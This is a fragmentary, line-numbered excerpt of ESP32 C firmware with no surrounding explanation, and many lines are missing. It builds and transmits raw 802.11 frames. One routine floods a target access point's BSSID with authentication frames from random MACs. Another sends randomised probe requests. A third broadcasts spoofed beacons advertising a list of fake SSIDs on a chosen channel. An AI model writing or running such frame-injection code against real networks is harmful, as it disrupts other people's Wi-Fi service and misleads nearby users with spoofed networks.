15 0xB0, 0x00, 0x3C, 0x00,
16 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
17 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
18 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
29 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
33 memcpy(&pkt[4], bssid, 6);
34 memcpy(&pkt[16], bssid, 6);
36 for (uint32_t i = 0; i < count; i++) {
38 for (
int m = 0; m < 6; m++) {
39 pkt[10 + m] = (uint8_t)(esp_random() & 0xFF);
44 esp_wifi_80211_tx(WIFI_IF_STA, pkt,
sizeof(pkt),
false);
51 0x40, 0x00, 0x00, 0x00,
52 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
53 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
54 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
61 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24
64 for (uint32_t i = 0; i < count; i++) {
66 for (
int m = 0; m < 6; m++) {
67 pkt[10 + m] = (uint8_t)(esp_random() & 0xFF);
72 esp_wifi_80211_tx(WIFI_IF_STA, pkt,
sizeof(pkt),
false);
78 uint8_t channel, uint32_t durationMs) {
79 if (!ssids || ssidCount == 0 || durationMs == 0)
return;
80 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
86 while (
millis() - start < durationMs) {
87 const char *ssid = ssids[seq % ssidCount];
88 uint8_t ssid_len = (uint8_t)strnlen(ssid, 32);
91 uint32_t r1 = esp_random(), r2 = esp_random();
92 mac[0] = 0x02; mac[1] = r1 & 0xFF; mac[2] = (r1 >> 8) & 0xFF;
93 mac[3] = (r1 >> 16) & 0xFF; mac[4] = r2 & 0xFF; mac[5] = (r2 >> 8) & 0xFF;
96 frame[p++] = 0x80; frame[p++] = 0x00;
97 frame[p++] = 0x00; frame[p++] = 0x00;
98 memset(frame + p, 0xFF, 6); p += 6;
99 memcpy(frame + p, mac, 6); p += 6;
100 memcpy(frame + p, mac, 6); p += 6;
101 frame[p++] = (uint8_t)((seq & 0xF) << 4);
102 frame[p++] = (uint8_t)(seq >> 4);
104 memset(frame + p, 0, 8); p += 8;
105 frame[p++] = 0x64; frame[p++] = 0x00;
106 frame[p++] = 0x21; frame[p++] = 0x04;
107 frame[p++] = 0x00; frame[p++] = ssid_len;
108 memcpy(frame + p, ssid, ssid_len); p += ssid_len;
109 frame[p++] = 0x01; frame[p++] = 0x08;
110 const uint8_t rates[] = {0x82,0x84,0x8B,0x96,0x24,0x30,0x48,0x6C};
111 memcpy(frame + p, rates, 8); p += 8;
112 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = channel;
114 esp_wifi_80211_tx(WIFI_IF_AP, frame, p,
false);